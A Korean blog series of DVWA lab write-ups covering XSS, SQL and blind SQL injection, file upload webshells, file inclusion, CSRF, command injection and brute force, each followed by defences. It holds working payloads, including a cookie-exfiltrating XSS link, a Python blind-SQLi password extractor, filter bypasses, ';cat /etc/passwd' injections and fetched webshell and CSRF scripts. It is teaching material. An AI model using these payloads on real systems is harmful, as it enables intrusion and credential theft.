728x90

정의

자바스크립트와 같은 언어로 만든 스크립트 코드를 취약한 웹 어플리케이션을 통해 사용자에게 전달하여 클라이언트측의 웹 브라우저를 공격하는 기법

DOM Based XSS

1. 공격자가 희생자에게 피싱 메일을 보냄

2. 희생자는 링크를 클릭시 악성 스크립트 코드가 삽입된 요청을 취약한 웹 어플리케이션에 전송

3. 웹 어플리케이션의 응답 페이지에는 스크립트 코드가 포함되어 있지 않음.

4. 희생자(클라이언트)의 웹 브라우저에서 DOM 객체를 통해 URL에 포함된 악성 스크립트 코드를 이용하여 페이지를 구성함으로써 코드 실행(ex 세션쿠키를 공격자에게 전송).

5. 공격자는 세션쿠키를 이용하여 희생자 권한으로 접속

 Reflected XSS는 서버가 악성 코드가 담긴 웹 페이지를 구성하여 클라이언트에게 전송하지만 DOM Based XSS는 클라이언트에서 악성 코드가 담긴 웹 페이지를 구성. 따라서 DOM Based XSS공격은 서버에서 XSS 공격의 흔적을 찾기 어려움.

Reflected XSS

1. 공격자가 희생자에게 피싱 메일을 보냄

2. 희생자는 링크를 클릭시 스크립트 코드가 삽입된 요청을 취약한 웹 어플리케이션에 전송

3. 웹 어플리케이션은 스크립트 코드가 포함된 웹 페이지를 희생자에게 응답

4. 희생자의 웹 브라우저에서 스크립트 코드 실행(ex 세션쿠키를 공격자에게 전송)

5. 공격자는 세션쿠키를 이용하여 희생자 권한으로 접속

Stored XSS

1. 공격자는 방명록, 게시판 등에 스크립트 코드를 남김

2. 희생자는 아무것도 모르고 방명록 접속

3. 스크립트 코드가 희생자에게 응답

4. 희생자의 웹 브라우저에서 스크립트 코드 실행(ex 세션쿠키를 공격자에게 전송)

5. 공격자는 세션쿠키를 이용하여 희생자의 권한으로 접속

 

실습

Low 단계

1. DOM Based XSS

English를 선택했을때 요청과 응답 메시지이다. 응답 메시지를 보면 document API를 이용해 클라이언트 측에서 default 파라미터의 인자(English)를 이용해 웹 페이지를 구성한다. <script>alert(document.cookie)</script>를 default 파라미터의 값으로 전달하면 경고창이 뜬다.

2. Reflected XSS

입력창에 <script>alert(document.cookie)</script>를 입력하면 쿠키값이 나타난다.

입력창에 직접 희생자가 저렇게 입력할리는 없다.

좀 더 그럴듯 하게 피싱메일을 이용해서 쿠키값이 해커가 관리하는 시스템으로 전달되는 경우를 만들어보자.

tail -f /opt/lampp/logs/access_log 명령어를 터미널에 입력하여 최신 로그를 확인하도록 한다.

document.location은 리다이렉트 기능을 가지고 있다. 해커의 사이트에 쿠키값과 함께 전송하는 것이다. 실습에서는 내가 공격자와 희생자 둘 다 하기 때문에 localhost로 쿠키값을 전송한다.

세번째 줄의 스크립트 코드를 피싱 메일의 링크에 설정하여 전송한다. 이는 첫번째 줄의 스크립트 코드를 URL 인코딩한 결과이다. 일부 특수문자만 URL 인코딩을 적용했는데 gmail로 링크를 첨부했을때 URL 인코딩이 자동으로 적용되지 않기 때문이다.

XSS 페이지에서 값을 입력하고 제출했을때의 URL에서 ?name= 부분을 이용한다.

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location%3D'http://localhost/cookie%3F'%2Bdocument.cookie</script>

완성된 링크다.

나에게 이메일을 보내고 링크를 클릭해본다.

아래부터 2개의 GET 요청을 보면 XSS 공격이 실행되어 쿠키값이 로그에 남은 것을 볼 수 있다.

3. Stored XSS

스크립트 코드를 방명록에 등록한다.

다시 접속하면 세션쿠키가 로그에 남는다.

Medium 단계

Reflected XSS

<script>alert(1)</script>를 입력하면 공격이 통하지 않는다.

소스코드를 보면 <script>를 없애고 있다. 대문자로 입력하면 공격을 성공한다.

대문자 말고도 <scr<script>ipt>와 같은 방식으로도 가능하다.

High 단계

Reflected XSS

소스코드를 보면 <script> 문자열을 정규표현식을 이용해서 필터링 하고 있다. 따라서 Medium 단계의 공격 방식은 통하지 않는다.

html 태그를 이용한다.

1. <img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>

2. <svg onload=window.location.assign("http://127.0.0.1/hacked.php")>

1번은 이미지 태그를 이용한다. src 속성에 x라는 없는 값을 입력하여 에러가 발생하게 한다. 따라서 onerror 속성값인 window.location.assign("http://127.0.0.1/hacked.php")가 실행된다. 이는 리다이렉트 기능을 한다. hacked.php는 /opt/lampp/htdocs/ 경로에 미리 만들어야한다. 간단하게 YOU ARE HACKED 메시지를 출력하도록 만들어놓았다.

2번은 svg 태그를 이용한다. 페이지가 요청될때 onload 속성값인 window.location.assign("http://127.0.0.1/hacked.php")가 실행된다. 마찬가지로 hacked.php는 /opt/lampp/htdocs/ 경로에 만들어야한다.

대응 방안

Reflected XSS, Stored XSS 대응 방안은 동일하다.

스크립트가 입력되어도 실행되지 않고 단순 문자열로 표시하도록 만드는 것이 가장 좋은 방법이다.

Impossible 단계의 소스코드를 보자.

htmlspecialchars() 함수를 사용한다. 

위 함수는 &, ", ', <, > 를 &amp, &quot, &#039, &lt, &gt로 치환함으로써 html에서 특수한 기능을 상실하여 웹 브라우저가 읽더라도 더이상 스크립트로 처리하지 않는다. 그로인해 공격이 무력화된다. 

대부분의 언어가 htmlspecialchars() 함수와 동일한 역할을 하는 빌트인 라이브러리나 함수를 제공한다.

또한, 입력값 검증을 통해 파라미터의 입력값에 불필요한 문자열이 포함되지 않도록 하는 것도 좋은 방안이다.

728x90

'dvwa' 카테고리의 다른 글

Blind SQL Injection  (0) 2023.05.17
SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05
728x90

정의

쿼리 실행 결과를 이용해 데이터를 찾아가는 공격.

쿼리가 참일 때와 거짓일 때 다른 결과값을 반환하는 것을 기반으로 데이터 찾음.

 

실습

Low 단계

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

소스코드의 쿼리문이다.

쿼리: 1' and 1=1#

id가 있다고 나온다. where 문 뒤를 보면 user_id='1' and 1=1#이 되어 user_id 가 1인 데이터가 존재함을 알 수 있다.

쿼리: 1' and 1=2#

id가 없다고 나온다. 1=2는 항상 거짓이기 때문에 반환되는 결과가 없기 때문이다.

즉, and 뒤에 조건문의 결과에 따라 참 또는 거짓이 되고 각각의 결과가 다르다. 이런 방식으로 Blind SQL Injection을 수행할 수 있다.

 

참/거짓에 따라 반환값이 달라지지 않는 경우엔 시간 관련 함수를 사용할 수 있다.

쿼리: 1' and sleep(5)#

id가 1인 경우는 존재하기 때문에 sleep(5) 함수가 실행되어 5초동안 대기한다. 따라서 개발자 옵션의 Network의 반환시간을 보면 5023ms임을 확인할 수 있다.

 

쿼리: 0' and sleep(5)#

id가 0인 데이터는 없기 때문에 뒤의 sleep 함수가 실행되지 않아 결과가 바로 반환된다. 39ms 시간이 걸렸다.

 

참/ 거짓에 따라 반환되는 결과값을 기반으로 Blind SQL Injection을 수행하는 코드를 짜봤다.

id가 존재하면 exists 라는 문자열이 반환 페이지에 존재했기 때문에 이를 이용하였다.

import requests

url='http://localhost/dvwa/vulnerabilities/sqli_blind/'
cookie={'security':'low','PHPSESSID':'2fc82lktbo8s625bmffa9h4jp0'}
HEX='0123456789ABCDEF'

def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?id=9999' or user='admin' and length(hex(password))={}%23&Submit=Submit#".format(pw_len),cookies=cookie)
        if 'exists' in r.text:
            #print(pw_len)
            
            return pw_len
        else:
            pw_len+=1

def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?id=9999' or user='admin' and substr(hex(password),{},1)='{}'%23&Submit=Submit#".format(i,j),cookies=cookie)
            if 'exists' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
find_pw()

코드를 짜지 않고 SQL Injection을 수행하는 프로그램을 이용할 수도 있다. 대표적으로 sqlmap이 있다.

 터미널에서 아래와 같이 입력하면 MySQL을 사용하고 있으며 위에서 언급한 AND boolean-based blind sql injection이 사용가능하다고 알려준다.

--current-db 옵션을 이용하여 현재 db명을 알아낼 수 있다.

-D dvwa --tables 옵션을 이용해 테이블들을 알 수 있다.

-D dvwa -T users --dump 옵션을 이용하면 users 테이블 내의 모든 데이터를 보여준다.

728x90

'dvwa' 카테고리의 다른 글

XSS  (0) 2023.05.22
SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05
728x90

정의

데이터베이스에 전송되는 SQL 쿼리문을 조작하여 데이터를 변조하거나 허가되지 않은 정보에 접근

 

실습

Low 단계

 

첫번째 방법(전체 데이터 조회)

id에 1' or '1'='1 을 입력하면 데이터베이스에 저장된 전체 데이터가 조회된다.

MySQL의 주석문자를 이용해서 1' or 1=1 #을 입력해도 같은 결과가 나온다.

 

두번째 방법(칼럼 개수 찾기)

order by 문법을 사용해서도 알 수 있다. order by는 정렬할때 사용한다. 첫번째 칼럼을 기준으로 정렬하면 order by 1이다. 적용해보면 order by 3부터 에러가 뜬다. 즉, 해당 테이블에 두 개의 칼럼을 조회하고 있음을 알 수 있다.

 

세번째 방법

union 연산자를 사용할 수 있다. union 연산자는 집합 연산자로 합집합을 의미한다. 중복 데이터는 제거한다.

union 연산자를 사용하려면 union 앞의 select 문과 뒤의 select 문의 칼럼 개수가 같아야한다.

1' union select 1,1#을 입력했을때 에러없이 결과가 나온다. 즉, 해당 테이블에 두 개의 칼럼을 조회하고 있음을 알 수 있다.

union 연산자를 이용한 공격 코드는 다음과 같다.

https://github.com/SecuAcademy/webhacking/blob/master/SQL%EC%9D%B8%EC%A0%9D%EC%85%98%EC%8B%A4%EC%8A%B5.txt

 

GitHub - SecuAcademy/webhacking: '화이트해커가 되기 위한 8가지 웹 해킹 기술' 강의자료

'화이트해커가 되기 위한 8가지 웹 해킹 기술' 강의자료. Contribute to SecuAcademy/webhacking development by creating an account on GitHub.

github.com

MySQL에는 information_schema라는 데이터베이스가 있다. 모든 테이블과 칼럼에 대한 정보를 가진 데이터베이스다. 이를 이용하여 정보를 찾는다.

위 링크의 데이터베이스명~테이블명 쿼리를 대입하면 각각의 결과를 얻을 수 있다. db명은 다른 쿼리를 썼다.

 

db명 구하는 쿼리: 1' union select database(),1#

database()는 현재 사용중인 db를 반환한다.

 

테이블명 구하는 쿼리: 1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

table_schema는 db명, table_name은 테이블명이다.

 

users라는 테이블의 칼럼을 조회해본다.

users의 칼럼 구하는 쿼리: 1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

 

user와 password 칼럼을 조회한다.

쿼리: 1' union select user, password from users#

패스워드의 해시값이 128bits(32bytes)인 걸로 봐서 md5 알고리즘이 적용된 것 같다.

아래의 링크에 접속해서 admin의 패스워드를 복호화한다.

https://www.md5online.org/md5-decrypt.html

admin의 패스워드는 hacker임을 알 수 있다.

Medium 단계

Medium 단계는 id 값을 1~5 중에 선택할 수 밖에 없기에 버프스위트를 이용해서 값을 변조한다.

주의할 것은 소스코드를 보면 Low 단계와 다르게 쿼리문에서 id 변수를 '로 감싸고 있지 않다는 것이다.

union select 공격도 가능하다.

High 단계

새 창에서 id를 입력받고 있다. 소스코드를 보자.

LIMIT 1을 이용해 결과 데이터를 하나만 반환하도록 하였다. 주석문자를 이용해 쉽게 우회가능하다.

마찬가지로 union select 공격도 가능하다.

대응 방안

Impossible 단계를 참고하자.

먼저 is_numeric 함수를 이용해서 id가 숫자인지 확인한다. 즉, 화이트리스트 방식으로 허용할 입력값 형식을 설정하는 것이다.

그리고 prepared statement를 사용한다.

prepared statement란 사용자의 입력값이 부분을 제외한 쿼리를 먼저 컴파일하고 사용자의 입력값은 후에 바인딩하는 것이다. 이렇게 하면 입력값은 문자(열)로만 취급되어 입력값에 의해 쿼리를 악의적으로 변조할 수 없다. 따라서 SQL Injection을 막을 수 있다.

위의 코드에서는 prepare 함수를 통해 입력값을 제외한 쿼리문을 먼저 컴파일 하고 bindParam 함수로 입력값을 바인딩 후 execute 함수로 쿼리를 실행한다. 다른 언어에서도 prepared statement 방식과 같은 함수들이 제공된다.

 

728x90

'dvwa' 카테고리의 다른 글

XSS  (0) 2023.05.22
Blind SQL Injection  (0) 2023.05.17
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05
728x90

정의

파일 업로드 기능이 있는 웹 페이지(게시판, SNS 등)에 악성 파일(웹쉘) 업로드하여 웹쉘을 이용해 시스템 명령을 실행하는 공격

실습

Low 단계

https://raw.githubusercontent.com/SecuAcademy/webhacking/master/webshell.php

위의 링크를 wget 명령어를 이용해 webshell 파일을 다운로드 받는다.

File Upload 페이지에서 해당 파일을 업로드하면 업로드된 경로가 다음과 같이 나온다.

해당 경로로 접근하면 웹쉘이 등장한다. cat /etc/passwd을 입력하면 명령이 실행된다.

Medium 단계

소스코드를 보면 업로드 타입이 image/jpeg 또는 image/png인지 체크하고 있다.

Low 단계처럼 webshell.php를 업로드하는데 버프 스위트로 인터셉트한다.

블럭 처리한 부분을 image/jpeg로 바꾸어 forward 버튼을 누른다.

업로드를 성공하였다.

High 단계

uploaded_ext는 업로드되는 파일명이다. 파일명의 확장자가 jpg, jpeg 또는 png 이어야 하며 파일 크기는 100000 바이트 미만 이어야 하고 getimagesize 함수를 통해 실제 파일이 이미지인지 확인하고 있다.

파일명의 확장자 끝에 .jpg를 붙이고 파일 내용 앞에 GIF89a를 입력하면 파일이 이미지인 것처럼 속일 수 있다.

하지만 웹쉘을 실행할 수는 없다.

File Inclusion 공격을 이용하자. 파일 내용은 웹쉘 코드이기 때문에 웹 페이지에 띄울 수 있다.

File Inclusion 페이지에 접속하자. High 단계이기 때문에 file/../../ 방식을 이용하여 우회한다. file inclusion 글을 참고하자.

여기서 cat /etc/passwd를 입력하면 아래와 같이 에러가 뜬다.

High 단계의 File Inclusion에선 page 파라미터에 접근할 페이지를 전달해야 하는데 이를 설정하지 않았기 때문이다.

Medium 단계에서 웹쉘을 호출하는 URL을 그대로 입력하고 cmd 파라미터를 추가로 입력한다. cmd 파라미터는 웹쉘에서 요구하는 입력값이다.

Low 단계에서 첨부한 webshell.php 코드를 보면 알 수 있듯이 form 태그의 method 부분이 생략되어 있다. 생략하면 GET 방식으로 데이터를 전송한다. 따라서 웹쉘에서 입력창에 입력하는 것은 GET 방식으로 전달되기에 URL을 통해 전달하는 것과 동일하다.

공격이 성공했다.

대응 방안

Impossible 단계의 소스코드를 보면 처음 if문에서 이미지 파일인지 체크한 이후에 두 번째 if문에서 업로드된 내용으로 이미지 파일을 다시 생성하고 있다.

이외에도 다른 방법으로 업로드된 파일 이름을 랜덤으로 변경하여 해커가 업로드한 파일에 접근하지 못하게 하는 방법이 있다.

또한 파일이 업로드되는 서버를 웹 어플리케이션 서버와 분리하는 방법도 있다. 이 방법이 여의치 않은 경우엔 업로드 파일이 저장되는 업로드 디렉터리에 실행권한을 제거하고 File Inclusion 공격에도 완전히 대응하여 업로드된 파일이 웹 어플리케이션에서 실행되는 것을 차단할 수 있다.

728x90

'dvwa' 카테고리의 다른 글

Blind SQL Injection  (0) 2023.05.17
SQL Injection  (0) 2023.05.16
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05
Command Injection  (0) 2023.05.02
728x90

정의

지정한 파일을 include 함수로 소스코드에 삽입

include 함수는 PHP의 함수이기에 주로 PHP 어플리케이션에서 공격 발생

LFI(Local File Inclusion) : 웹 서버의 시스템에 존재하는 파일을 포함

RFI(Remote File Inclusion) : 외부에 있는 파일을 원격으로 포함

실습

Low 단계

File Inclusion 페이지에 접속 후 file1.php를 클릭해보면 URL의 page 파라미터에 file1.php가 보인다.

File Inclusion 페이지의 소스코드의 35번째 줄을 보면 $file 변수에 저장된 페이지를 include 하고 있음을 알 수 있다. 현재 $file 변수엔 file1.php가 저장된 것이다.

/opt/lampp/htdocs 디렉토리 하위에 test.php 파일을 만든다. /etc/passwd 명령을 실행하는 파일이다. 테스트 환경이 로컬이긴 하지만 RFI 공격을 위해 해커의 사이트에 업로드된 파일이라고 가정하자. htdocs 디렉토리 하위에 만들어야 URL을 통한 접근이 가능하다.

http://localhost/test.php 파일을 인자로 주면 /etc/passwd 파일의 내용이 보인다. RFI 공격이 성공했다.

LFI는 웹 서버 시스템 내부에 존재하는 파일을 이용하기에 RFI보다는 제한적이다. page 파라미터의 값으로 /etc/passwd나 ../../../../../../etc/passwd를 준다면 LFI 공격도 쉽게 성공할 수 있다. 후자의 방식은 Path Traversal 공격을 이용한 것이다.

Medium 단계

소스 코드를 보자.

str_replace 함수는 $file 변수의 내용 중에 http:// 와 https://와 ../와 ..\\를 빈값으로 대체하고 있다.

이 경우 ?page=hthttp://tp://localhost/test.php 와 같이 전달하면 우회가능하다. 처음에 검증할 때 http:// 부분을 없애고 나서 남은 문자열을 또 검증하진 않기 때문이다.

High 단계

소스코드를 보면 file로 시작하는 문자열이거나 include.php인 경우만 허용된다.

이 경우 file/../../../../../../../etc/passwd 방식으로 LFI 공격이 가능하다.

단, http://를 사용할 수 없기에 RFI 공격은 불가능하다.

대응 방안

가장 좋은 방법은 외부 사용자가 입력한 파일 이름을 include() 함수 인자로 사용하지 않는 것이다.

어쩔 수 없이 파일의 이름을 외부에서 입력받아야 한다면 입력값 검증을 해야한다.

Impossible 단계의 소스코드를 보자.

Impossible 단계의 소스코드를 보면 include.php와 file.php와 file2.php와 file3.php만 허용하고 있다. 이를 화이트 리스트 방식이라고 한다. 반대로 블랙리스트 방식은 금지할 목록을 명시하는 것이다. 화이트리스트 검증 방식이 권장된다.

정리하자면 include 함수의 인자로 사용자의 입력값이 전달되지 않는 것이 가장 좋지만 어쩔 수 없는 경우엔 반드시 필요한 파일만 허용하는 화이트 리스트 방식을 적용해야한다.

728x90

'dvwa' 카테고리의 다른 글

SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
CSRF  (0) 2023.05.05
Command Injection  (0) 2023.05.02
Brute Force  (0) 2023.05.02
728x90

정의

사이트간 요청 위조

피싱을 활용해 사용자 모르게 패스워드 변경할 수 있다.

공격자가 보낸 이메일 링크를 클릭 시 사용자 모르게 패스워드 변경이 발생한다.

단, 사용자는 링크 클릭 시 패스워드 변경이 일어날 웹 사이트에 로그인되어 있어야한다.

 

실습

Low 단계

CSRF 페이지에 접속 후 abcd로 비밀번호 변경을 요청하고  Burp Suite로 메시지를 보면 다음과 같다.

만약 사용자가 어떤 링크를 클릭 시 해당 메시지가 전송된다면 비밀번호가 변경될 것이다. 단, 사용자는 해당 웹 사이트에 로그인되어 있어야한다. 왜냐하면 웹 서버는 세션쿠키 값으로 사용자를 식별하기 때문이다. 따라서 비밀번호 변경 요청 시 세션쿠키 값은 로그인되어 있어야만 전송되고 위 이미지에선 헤더의 Cookie에 해당한다.

https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrf.html

링크에 들어가면 csrf 공격 스크립트가 있다. wget 명령으로 다운받는다. 그리고 dvwa의 htdocs 디렉토리 밑으로 옮긴다. 그래야만 url을 통해 접근가능하다.

코드를 간단히 설명하자면 자바스크립트의 ajax 기법을 이용해서 기존의 비밀번호 변경 요청 메시지와 동일하게 URL과 파라미터들을 구성한다. 단, 패스워드는 hacker로 변경한다. 링크를 누르면 poc 함수가 실행되어 비밀번호 변경이 발생한다.

피싱을 위한 이메일을 작성한다. click here 단어에 csrf.html 파일의 링크를 삽입 후 전송한다.

메일을 열고 click here을 누르면 csrf.html 파일이 열린다.

실습을 위해 한번 더 클릭을 하지만 실제론 CLICK을 누른 순간 공격이 실행될 수 있다.

실습에선 확인하기 위해 Done!! 알림창이 뜨도록 했다.

비밀번호가 hacker로 바꼈는지 확인하기 위해 다시 로그인한다.

여기까지 따라했다면 정상적으로 비밀번호가 변경되었을 것이다.

Brup Suite의 Comparer 기능을 이용해 정상적인 비밀번호 변경 요청과 CSRF를 이용한 비밀번호 변경 요청을 보면 형태가 유사한 것을 알 수 있다. 주목할 점은 세션 쿠키의 값이 동일하다는 것이다.

Medium 단계

Medium 단계에서도 Low 단계와 동일한 방식으로 비밀번호 변경이 가능하다.

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) { 
        ...

stripos 함수를 사용하여 헤더의 Referer에 SERVER_NAME(도메인명) 문자열이 존재하는지 확인하고 있다. Referer은 바로 이전의 URL이다. Low 단계 마지막 이미지의 왼쪽(CSRF공격) 부분의 Referer을 참고하자.

현재 로컬에서 공격자와 희생자 둘 다 실행하므로 도메인명인 localhost가 Referer에도 존재하기에 통과한다. 하지만 위의 조건문의 의도는 다른 사이트에서 보낸 요청인지를 확인하여 같은 사이트인 경우에 비밀번호를 변경하는 것이다. 해커의 사이트였다면 필터링되었을 것이다.

만약 CSRF 공격이 해커 사이트가 아닌 웹 서버에서 실행된다면 위의 조건문은 우회가능하다. 따라서 csrf.html 파일에서 자바스크립트를 사용했기에 같은 웹 사이트 내의 웹 페이지에 XSS 취약점이 있다면 스크립트문을 실행하여 CSRF 공격을 수행할 수 있다.

위의 방식은 문제점이 또 존재한다. Referer에 도메인명이 존재하는지 확인하기 때문에 파일명에 도메인명을 넣는다면 우회가능하다. 현재 로컬에서 테스트하고 있기에 도메인명은 localhost이다. 파일명이 localhost를 포함하도록 만든다.

Referer에 localhost가 존재한다. 마찬가지로 CSRF 공격이 성공한다.

High 단계

Medium 단계의 방식이 통하지 않는다. 정상적인 요청을 보자.

못 보던 user_token이 생겼다. CSRF 토큰이다. CSRF 토큰은 CSRF 실습 페이지(localhost/dvwa/vulnerabilities/csrf)에 접근하면 서버에서 발급해주는 랜덤의 토큰이다. 이 토큰을 가지고 비밀번호 변경을 요청해야 서버는 정상적인 요청으로  받아들인다. 피싱을 통한 비밀번호 변경 요청이 실패했던 이유다.

이를 우회하기 위해서 토큰을 발급받고 이어서 바로 토큰을 가지고 비밀번호 변경 요청을 하는 코드를 이용한다. 마찬가지로 자바스크립트의 ajax 기법이다.

https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrfhigh.js

wget 명령어로 다운받은 후 /opt/lampp/htdocs 하위에 옮긴다.

코드 내용을 살펴보자.

req1 함수는 dvwa의 CSRF 페이지에 접속하는 것과 동일한 요청이다.

req2 함수는 CSRF 토큰을 추출하여 패스워드 변경 요청을 보낸다.

java script 코드이기 때문에 js 파일을 실행가능한 XSS (Stored) 페이지에 접속한다.

대신 High 단계에선 스크립트 태그의 입력이 막혀있기 때문에 편의상 Low 단계로 변경한다.

다시 High 단계로 변경 후 XSS (Stored) 페이지에 접속한다.

추출한 CSRF 토큰이 보이는 걸로 보아 공격이 성공했음을 알 수 있다.

다시 로그인 해보면 패스워드가 hacker로 변경되었다.

대응 방안

Impossible 단계를 보면 Current password를 입력해야 패스워드 변경 요청을 할 수 있다. 다만, 비밀번호를 매번 입력하기 번거로운 경우 Referer 헤더나 CSRF 토큰을 이용할 수 있다. CSRF 토큰 구현은 개발 언어나 개발 프레임워크에 따라서 기본 라이브러리나 플러그인 또는 설정의 형태로 지원한다.

이외에도 CAPTCHA를 이용하여 사용자의 직접적인 요청인지 검사하는 방법이 있다.

 

 

728x90

'dvwa' 카테고리의 다른 글

SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
Command Injection  (0) 2023.05.02
Brute Force  (0) 2023.05.02
728x90

정의

웹을 통해 시스템 명령어를 실행하는 공격

웹 내부에서 시스템 명령어를 실행하는 경우, 입력값을 제대로 검사하지 않으면 해커가 조작하여 시스템 명령어를 실행

 

실습

Low 단계에서 127.0.0.1을 입력하고 몇 초 지난 후 ping 명령이 실행됐음을 알 수 있다.

else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

소스 코드를 보면 입력한 ip를 목적지로 ping 메시지를 4번 보내는 것을 알 수 있다. shell_exec가 시스템 명령어 실행함수다.

입력값에 ;cat /etc/passwd를 입력하면 cat /etc/passwd 명령의 실행결과가 출력된다.

Command Injection 공격에 사용되는 특수문자의 일부는 다음과 같다.

; - 앞의 명령어가 실패해도 다음 명령어가 실행

&& - 앞의 명령어가 성공했을 때 다음 명령어가 실행

& - 앞의 명령어를 백그라운드로 돌리고 동시에 뒤의 명령어를 실행

| -  앞의 명령어의 실행 결과 값을 뒤의 명령어의 입력값으로 사용

;id를 입력하면 웹 어플리케이션을 실행한 사용자가 누군지 알 수 있다. 관리자 권한을 얻어야 모든 명령을 사용할 수 있기 때문에 권한 상승 작업이 필요하다.

 

Medium 단계에서 소스 코드를 보면 &&와 ;가 필터링 되고 있다.

// Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

&&와 ;를 없는 문자로 치환하고 있다. 따라서 &나 |와 같은 특수문자를 이용하여 여전히 우회가능하다.

 

High 단계에서는 필터링되는 문자가 많다.

// Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

한 가지 문제가 있다. 파이프 부분에서 뒤에 공백이 있다. 따라서 파이프 뒤에 명령을 이어서 쓰면 우회가능하다.

Impossible 단계

// Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

Command Injection의 가장 좋은 대응 방법은 사용자의 입력값이 원래 의도에 맞는지 검사하는 것이다.

허용할 값을 명시하는 것이다. 따라서 화이트리스트 방식이다.

IP 주소를 입력받는 것이라면 입력값이 IP인지 확인해야한다.

IPv4는 0~255 범위의 값을 4개 가지고 .으로 구분된다.

위의 코드에서 .을 기준으로 4가지 값이 각각 숫자인지 확인하고 다시 IP 형태로 합치는 작업을 수행한다.

 

대응 방안

가장 좋은 공격 대응 방안은 직접적으로 시스템 명령어를 호출하지 않는 것이다. 

만약 시스템 명령어 exec()나 system() 함수를 사용해야하고 사용자 입력값이 명령어에 사용될 때는 입력값을 화이트리스트 방식으로 검증해야한다.

 

728x90

'dvwa' 카테고리의 다른 글

SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05
Brute Force  (0) 2023.05.02
728x90

정의

모든 경우의 수에 대한 값을 대입하는 공격

Burp Suite의 intruder 기능을 이용하여 brute force 공격 가능

시간이 매우 오래 걸리기때문에 비효율적임


Dictionary attack

통계적으로 많이 사용되는 비밀번호 목록을 만들어 대입하는 공격

kali linux에 /usr/share/john/password.lst 파일에 비밀번호 목록 존재

dvwa의 공격 난이도를 low로 설정 후 dictionary attack을 수행한다.

Burp Suite의 intruder 기능을 이용한다.

비밀번호값에 공격을 수행하기 위해 타겟으로 설정한다.

password.lst 파일을 로드 후 공격을 실행한다.

password 값을 대입했을때 응답 데이터의 길이가 다르다.(5086 bytes)
따라서 비밀번호는 password이다.

 

대응방안

Medium level

else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

로그인 실패시 2초 동안 시간을 지연시킴으로써 대응한다.

High level

else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

0~3초 동안 시간을 지연시킴으로써 대응한다. Medium level에서처럼 2초로 설정하면 해커는 2초동안 응답이 없으면 틀린 패스워드임을 인지하게 된다. 이를 기반으로 자동화된 악의적인 프로그램을 막을 수 있다.

Impossible level

일정 횟수 로그인 실패시 일정 시간동안 대기해야한다. 이 방식을 locking이라고 한다.

강력한 방법이지만 일부러 특정 사용자의 아이디로 로그인을 실패하여 해당 사용자가 로그인할 수 없게 악용할 수 있다.

 

요약

Brute Force 공격을 대응하기 위해 잘못된 로그인 시도가 발생할때 응답을 느리게 하거나 여러 번 로그인 실패 시 일정 시간 locking하여 공격을 무력화시킨다.

또 다른 방법으로 그림 속 문자를 맞추는 CAPTCHA를 사용하여 사람이 로그인하는지 확인할 수 있다.

728x90

'dvwa' 카테고리의 다른 글

SQL Injection  (0) 2023.05.16
File Upload  (0) 2023.05.06
File Inclusion  (0) 2023.05.06
CSRF  (0) 2023.05.05
Command Injection  (0) 2023.05.02

+ Recent posts